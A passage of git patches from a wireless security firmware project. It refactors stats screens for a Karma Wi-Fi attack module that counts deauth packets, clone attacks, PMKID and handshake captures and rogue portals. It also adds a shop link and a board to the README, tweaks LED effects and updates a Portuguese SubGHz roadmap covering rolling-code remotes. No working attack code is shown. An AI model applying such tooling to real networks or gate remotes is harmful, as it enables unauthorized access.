+        padprint("Uniq:" + String(uniqueClients), 7);
+        padprint("Act:" + String(activeNetworks.size()), 13);
+        padprintln("Pend:" + String(pendingPortals.size()), 19);
 
-        tft.setCursor(10, y);
-        tft.print("Queue:" + String(responseQueue.size()));
-        tft.setCursor(70, y);
-        tft.print("Beac:" + String(beaconsSent));
-        tft.setCursor(130, y);
-        tft.print("Karma:" + String(karmaResponsesSent));
-        tft.setCursor(190, y);
-        tft.print("Clone:" + String(cloneAttacksLaunched));
-        y += 15;
+        padprint("Queue:" + String(responseQueue.size()));
+        padprint("Beac:" + String(beaconsSent), 7);
+        padprint("Karma:" + String(karmaResponsesSent), 13);
+        padprintln("Clone:" + String(cloneAttacksLaunched), 19);
 
-        tft.setCursor(10, y);
-        tft.print("Port:" + String(autoPortalsLaunched) + "/" + String(activePortalCount()));
-        tft.setCursor(100, y);
-        tft.print("HS:" + String(handshakeBuffer.size()));
-        tft.setCursor(160, y);
-        tft.print("PMKID:" + String(pmkidCaptured));
-        y += 15;
+        padprint("Port:" + String(autoPortalsLaunched) + "/" + String(activePortalCount()));
+        padprint("HS:" + String(handshakeBuffer.size()), 10);
+        padprintln("PMKID:" + String(pmkidCaptured), 16);
 
-        tft.setCursor(10, y);
-        tft.print("Ch:" + String(pgm_read_byte(&karma_channels[channl % 14])));
-        tft.setCursor(70, y);
+        padprint("Ch:" + String(pgm_read_byte(&karma_channels[channl % 14])));
         String hopStatus = String(auto_hopping ? "Auto:" : "Man:") + String(hop_interval) + "ms";
-        tft.print(hopStatus);
-        y += 15;
+        padprintln(hopStatus, 7);
 
-        tft.setCursor(10, y);
         char macStr[18];
         snprintf(
             macStr,
@@ -2494,7 +2472,7 @@ void updateKarmaDisplay() {
             currentBSSID[4],
             currentBSSID[5]
         );
-        tft.print("MAC:" + String(macStr));
+        padprint("MAC:" + String(macStr));
 
         String modeText = "";
         switch (karmaMode) {
@@ -2503,16 +2481,12 @@ void updateKarmaDisplay() {
             case MODE_FULL: modeText = "FULL"; break;
             default: modeText = "PASSIVE"; break;
         }
-        tft.setCursor(tftWidth - 10 - (modeText.length() * 6), y);
-        tft.print(modeText);
-        y += 15;
+        padprintln(modeText, 3);
 
         if (templateSelected && !selectedTemplate.name.isEmpty()) {
-            tft.setCursor(10, y);
             String templateText = "Template:" + selectedTemplate.name;
             if (templateText.length() > 40) templateText = templateText.substring(0, 37) + "...";
-            tft.print(templateText);
-            y += 15;
+            padprintln(templateText);
         }
 
         if (activePortal != nullptr) {
@@ -2520,17 +2494,14 @@ void updateKarmaDisplay() {
             unsigned long portalLeftMs = (portalAge >= PORTAL_MAX_IDLE) ? 0 : (PORTAL_MAX_IDLE - portalAge);
             unsigned long portalLeftSec = portalLeftMs / 1000;
 
-            String portalText = " [" + activePortal->ssid;
-            if (portalText.length() > 32) portalText = portalText.substring(0, 29) + "...";
-            tft.print(portalText + "(" + String(portalLeftSec) + "s)]");
+            String portalText = "Active Portal: " + activePortal->ssid;
+            padprintln(portalText + "(" + String(portalLeftSec) + "s)");
         }
 
         if (broadcastAttack.isActive()) {
-            tft.setCursor(10, y);
-            tft.print("Broadcast:" + broadcastAttack.getProgressString());
-            y += 15;
+            padprintln("Broadcast:" + broadcastAttack.getProgressString());
         } else {
-            y += 15;
+            padprintln("");
         }
 
         tft.setCursor(10, tftHeight - 15);
@@ -2752,11 +2723,11 @@ void karma_setup() {
         }
         if (attackConfig.enableBeaconing && !karmaPaused) sendBeaconFrames();
         if (!karmaPaused) {
-                processQueuedProbeEvents();
-                processResponseQueue();
-                checkCloneAttackOpportunities();
-                checkPendingPortals();
-                checkForAssociations();
+            processQueuedProbeEvents();
+            processResponseQueue();
+            checkCloneAttackOpportunities();
+            checkPendingPortals();
+            checkForAssociations();
             checkPortals();
         }
         if (broadcastAttack.isActive() && (karmaMode == MODE_BROADCAST || karmaMode == MODE_FULL) &&
@@ -2798,40 +2769,20 @@ void karma_setup() {
                 {"Enhanced Stats",
                  [&]() {
                      drawMainBorderWithTitle("ADVANCED STATS");
-                     int y = 40;
+                     int y = 45;
                      tft.setTextSize(1);
                      tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Total: " + String(totalProbes));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Unique: " + String(uniqueClients));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Karma: " + String(karmaResponsesSent));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Beacons: " + String(beaconsSent));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Active: " + String(activeNetworks.size()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Pending: " + String(pendingPortals.size()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Portals: " + String(activePortalCount()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Blacklist: " + String(macBlacklist.size()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("PMKID: " + String(pmkidCaptured));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Handshakes: " + String(handshakeBuffer.size()));
-                     tft.setCursor(10, tftHeight - 20);
-                     tft.print("Sel: Back");
+                     padprint("Total: " + String(totalProbes));
+                     padprintln("Unique: " + String(uniqueClients), 10);
+                     padprint("Karma: " + String(karmaResponsesSent));
+                     padprintln("Beacons: " + String(beaconsSent), 10);
+                     padprint("Active: " + String(activeNetworks.size()));
+                     padprintln("Pending: " + String(pendingPortals.size()), 10);
+                     padprint("Portals: " + String(activePortalCount()));
+                     padprintln("Blacklist: " + String(macBlacklist.size()), 10);
+                     padprint("PMKID: " + String(pmkidCaptured));
+                     padprintln("Handshakes: " + String(handshakeBuffer.size()), 10);
+                     padprintln("Sel: Back");
                      while (!check(SelPress) && !check(EscPress)) {
                          if (check(PrevPress)) break;
                          delay(50);
@@ -3305,46 +3256,25 @@ void karma_setup() {
                 {"Show Stats",
                  [&]() {
                      drawMainBorderWithTitle("KARMA STATS");
-                     int y = 40;
+                     int y = 45;
                      tft.setTextSize(1);
                      tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Total Probes: " + String(totalProbes));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Unique Clients: " + String(uniqueClients));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Karma Responses: " + String(karmaResponsesSent));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Portals Launched: " + String(autoPortalsLaunched));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Clone Attacks: " + String(cloneAttacksLaunched));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Deauth Packets: " + String(deauthPacketsSent));
-                     tft.setCursor(10, y);
-                     y += 15;
+                     padprint("Probes: " + String(totalProbes));
+                     padprintln("Uniq Clients: " + String(uniqueClients), 11);
+                     padprint("Responses: " + String(karmaResponsesSent));
+                     padprintln("Portals: " + String(autoPortalsLaunched), 11);
+                     padprint("Clone Atks: " + String(cloneAttacksLaunched));
+                     padprintln("Deauth Pkt: " + String(deauthPacketsSent), 11);
                      int vulnCount = 0;
                      for (const auto &clientPair : clientBehaviors)
                          if (clientPair.second.isVulnerable) vulnCount++;
-                     tft.print("Vulnerable: " + String(vulnCount));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Pending Attacks: " + String(pendingPortals.size()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Active Portals: " + String(activePortalCount()));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("PMKID Captured: " + String(pmkidCaptured));
-                     tft.setCursor(10, y);
-                     y += 15;
-                     tft.print("Handshakes: " + String(handshakeBuffer.size()));
-                     tft.setCursor(10, tftHeight - 20);
-                     tft.print("Sel: Back");
+                     padprint("Vulnerable: " + String(vulnCount));
+                     padprintln("Pend Atks: " + String(pendingPortals.size()), 11);
+                     padprint("Act Portal: " + String(activePortalCount()));
+                     padprintln("PMKID Capt: " + String(pmkidCaptured), 11);
+                     padprintln("Handshakes: " + String(handshakeBuffer.size()));
+                     padprintln("");
+                     padprintln("Sel: Back");
                      while (!check(SelPress) && !check(EscPress)) {
                          if (check(PrevPress)) break;
                          delay(50);

From e9807ed0c2b2f1ffb63dd2425e1baa72ecf0187a Mon Sep 17 00:00:00 2001
From: pr3y <67231282+pr3y@users.noreply.github.com>
Date: Mon, 25 May 2026 14:20:44 -0300
Subject: [PATCH 71/73] 1.15

---
 README.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index b46e35989..a95a00f5e 100644
--- a/README.md
+++ b/README.md
@@ -7,6 +7,8 @@ It also supports M5stack and Lilygo products and works great with Cardputer, Sti
 
 **Check our fully open-source hardware too:** https://bruce.computer/boards
 
+**Also Check Our official Shop!! Buy here and support us** https://bruce-devices.myshopify.com/
+
 ## :building_construction: How to install
 
 ### The easiest way to install Bruce is using our official Web Flasher!
@@ -230,7 +232,7 @@ Also, [read our FAQ](https://wiki.bruce.computer/faq/)
 | [Smoochiee V2](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html)                                                                                               |  :ok:  | :ok:  |   :x:    |         :ok:         | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
 | [ESP32-C5](https://docs.espressif.com/projects/esp-dev-kits/en/latest/esp32c5/esp32-c5-devkitc-1/user_guide.html)                                                                           |  :ok:  | :ok:  |   :x:    |         :ok:         | :x:  |  :x:   |   :x:   |   :x:   |    :x:     |     :x:      |
 | [Bruce RF Reaper](https://www.elecrow.com/bruce-pcb-rf-reaper.html)                                                                                                                         |  :ok:  | :ok:  |   :x:    | :x: but w/ ST25R3916 | :x:  |  :ok:  |  :ok:   |   :x:   |    :ok:    |     :x:      |
-
+| [Elecrow 24B](https://www.elecrow.com/2-4inch-esp32-miner-lcd-display-2pcs-cryptocurrency-solo-miner-with-1000kh-s-hashrate.html)                                                                                                                         |  :ok:  | :ok:  |   :x:    | :x: but w/ ST25R3916 | :x:  |  :ok:  |  :ok:   |   :x:   |    :ok:    |     :x:      |
 ² CYD have a LITE_VERSION version for Launcher Compatibility
 ¹ Core, CYD and StickCs Bad-USB: [here](https://wiki.bruce.computer/features/others/#badusb)
 

From f439867309440c67fd1958a9128f6e312a9c3e8a Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Mon, 25 May 2026 18:45:59 +0100
Subject: [PATCH 72/73] Add speed control to fire and disco

---
 src/core/led_control.cpp | 40 +++++++++++++++++++++++++++-------------
 1 file changed, 27 insertions(+), 13 deletions(-)

diff --git a/src/core/led_control.cpp b/src/core/led_control.cpp
index 5a7d598c2..1750d2cf3 100644
--- a/src/core/led_control.cpp
+++ b/src/core/led_control.cpp
@@ -249,24 +249,38 @@ void ledEffectTask(void *pvParameters) {
             }
 #endif
 
-        } else if (ledEffect == LED_EFFECT_FIRE) {
-            for (int i = 0; i < LED_COUNT; i++) {
-                uint8_t flicker = random(150, 255);
-                uint8_t isRed = random(0, 2);
-                if (isRed) {
-                    leds[i] = CRGB(flicker, random(0, flicker / 3), 0);
-                } else {
-                    leds[i] = CRGB(255, random(flicker / 2, flicker), 0);
+        } else if (ledEffect == LED_EFFECT_DISCO) {
+            uint8_t cycleFrames = 11 - ledEffectSpeed;
+#ifdef HAS_ENCODER_LED
+            if ((ledEffectSpeed == 11 && EncoderLedChange != 0) ||
+                (ledEffectSpeed < 11 && frame % cycleFrames == 0)) {
+                if (ledEffectSpeed == 11 && EncoderLedChange != 0) { EncoderLedChange = 0; }
+#else
+            if (frame % cycleFrames == 0) {
+#endif
+                for (int i = 0; i < LED_COUNT; i++) {
+                    short randomHue = random(0, 360);
+                    leds[i] = hsvToRgb(randomHue, 255, 255);
                 }
             }
             frame++;
-
-        } else if (ledEffect == LED_EFFECT_DISCO) {
-            uint8_t cycleFrames = 12 - ledEffectSpeed;
+        } else if (ledEffect == LED_EFFECT_FIRE) {
+            uint8_t cycleFrames = 11 - ledEffectSpeed;
+#ifdef HAS_ENCODER_LED
+            if ((ledEffectSpeed == 11 && EncoderLedChange != 0) ||
+                (ledEffectSpeed < 11 && frame % cycleFrames == 0)) {
+                if (ledEffectSpeed == 11 && EncoderLedChange != 0) { EncoderLedChange = 0; }
+#else
             if (frame % cycleFrames == 0) {
+#endif
                 for (int i = 0; i < LED_COUNT; i++) {
-                    short randomHue = random(0, 360);
-                    leds[i] = hsvToRgb(randomHue, 200, 255);
+                    uint8_t flicker = random(150, 255);
+                    uint8_t isRed = random(0, 2);
+                    if (isRed) {
+                        leds[i] = CRGB(flicker, random(0, flicker / 3), 0);
+                    } else {
+                        leds[i] = CRGB(255, random(flicker / 2, flicker), 0);
+                    }
                 }
             }
             frame++;

From 41ab80c1dad6603a7dd42c28a28aaf7a2718519e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Mon, 8 Jun 2026 08:58:23 -0300
Subject: [PATCH 73/73] =?UTF-8?q?=F0=9F=93=96=20DOC:=20Atualiza=C3=A7oes?=
 =?UTF-8?q?=20de=20objetivos?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 SUBGHZ_MIGRATION_ROADMAP.md | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/SUBGHZ_MIGRATION_ROADMAP.md b/SUBGHZ_MIGRATION_ROADMAP.md
index cd64e68b6..22410ac18 100644
--- a/SUBGHZ_MIGRATION_ROADMAP.md
+++ b/SUBGHZ_MIGRATION_ROADMAP.md
@@ -1,12 +1,19 @@
 # Roadmap de Migracao SubGHz (Bruce <- Unleashed)
 
-Data de atualizacao: 2026-05-23  
+Data de atualizacao: 2026-06-08  
 Branch de trabalho: `subghz_improvements`
 
 ## Objetivo
 
 Integrar a stack `subghz` do Unleashed no Bruce sem alterar vendor, mantendo compatibilidade com fluxos legados (`rf,subghz`) e evoluindo identificacao de protocolo, analise de chave/counter e TX protocol-native.
 
+## Direcionamento Tecnico do Orientador
+
+- Otimizar a stack RF/SubGHz e reduzir o tamanho do firmware sempre que possivel.
+- Separar responsabilidades do sistema RF atual, que mistura fluxos diferentes no mesmo modulo.
+- Avaliar migracao da captura/recepcao SubGHz para RMT, driver nativo da Espressif para leitura desse tipo de sinal.
+- Priorizar RMT como alternativa ao modelo do RC-Switch, que usa interrupcao direta e contagem manual de tempo, para melhorar performance e reduzir acoplamento.
+
 ## Status Geral
 
 - [x] Base arquitetural da migracao concluida (vendor + compat + bridge + adapter).
@@ -90,6 +97,10 @@ Integrar a stack `subghz` do Unleashed no Bruce sem alterar vendor, mantendo com
 
 ### P1 (proxima iteracao recomendada)
 
+- [ ] Mapear os fluxos RF/SubGHz misturados hoje (RC-Switch legado, SubGHz avancado/vendor e ferramentas auxiliares) e definir fronteiras claras entre captura, decode, TX e UI.
+- [ ] Prototipar backend de RX baseado em RMT da Espressif para sinais SubGHz e comparar contra RC-Switch em uso de CPU, estabilidade de timing, RAM/flash e qualidade de decode.
+- [ ] Criar uma interface comum de captura de pulsos para permitir coexistencia controlada entre RMT e RC-Switch durante a transicao.
+- [ ] Medir tamanho de firmware por target antes/depois das mudancas e listar candidatos de reducao em RF/SubGHz.
 - [ ] Paridade mais profunda de interface rolling (estado, incrementos e UX de emulacao) comparada ao fluxo da biblioteca de origem.
 - [ ] Melhorar telas de `Scan/Copy` com mais contexto de key/counter e acao rapida por protocolo.
 - [ ] Implementar cenas `Add manually (Advanced)` para protocolos rolling prioritarios (FAAC SLH, BFT Mitto, Somfy Telis, Nice FloR-S, CAME Atomo, Alutech AT-4N).
@@ -101,6 +112,8 @@ Integrar a stack `subghz` do Unleashed no Bruce sem alterar vendor, mantendo com
 
 ### P2 (hardening e manutencao)
 
+- [ ] Remover duplicacoes ou caminhos RF/SubGHz obsoletos depois que o backend RMT estiver validado em hardware.
+- [ ] Documentar a arquitetura final de RF/SubGHz, incluindo limites entre driver de captura, decoder, encoder/TX, storage e UI.
 - [ ] Opcional: habilitar `RAW`/`BinRAW` no profile `FULL` via shims faltantes no compat (`float_tools`, helpers de storage e ajustes adicionais de API Furi).
 - [ ] Normalizar metadados de pin do vendor (`UPSTREAM_PIN.txt` e `README.md` do vendor apontam commits diferentes).
 - [ ] Cobrir protocolos ainda sem suporte direto no runtime (`Prastel`, `Airforce`, `HCS101`, `ZKTeco`) via sync upstream ou implementacao dedicada.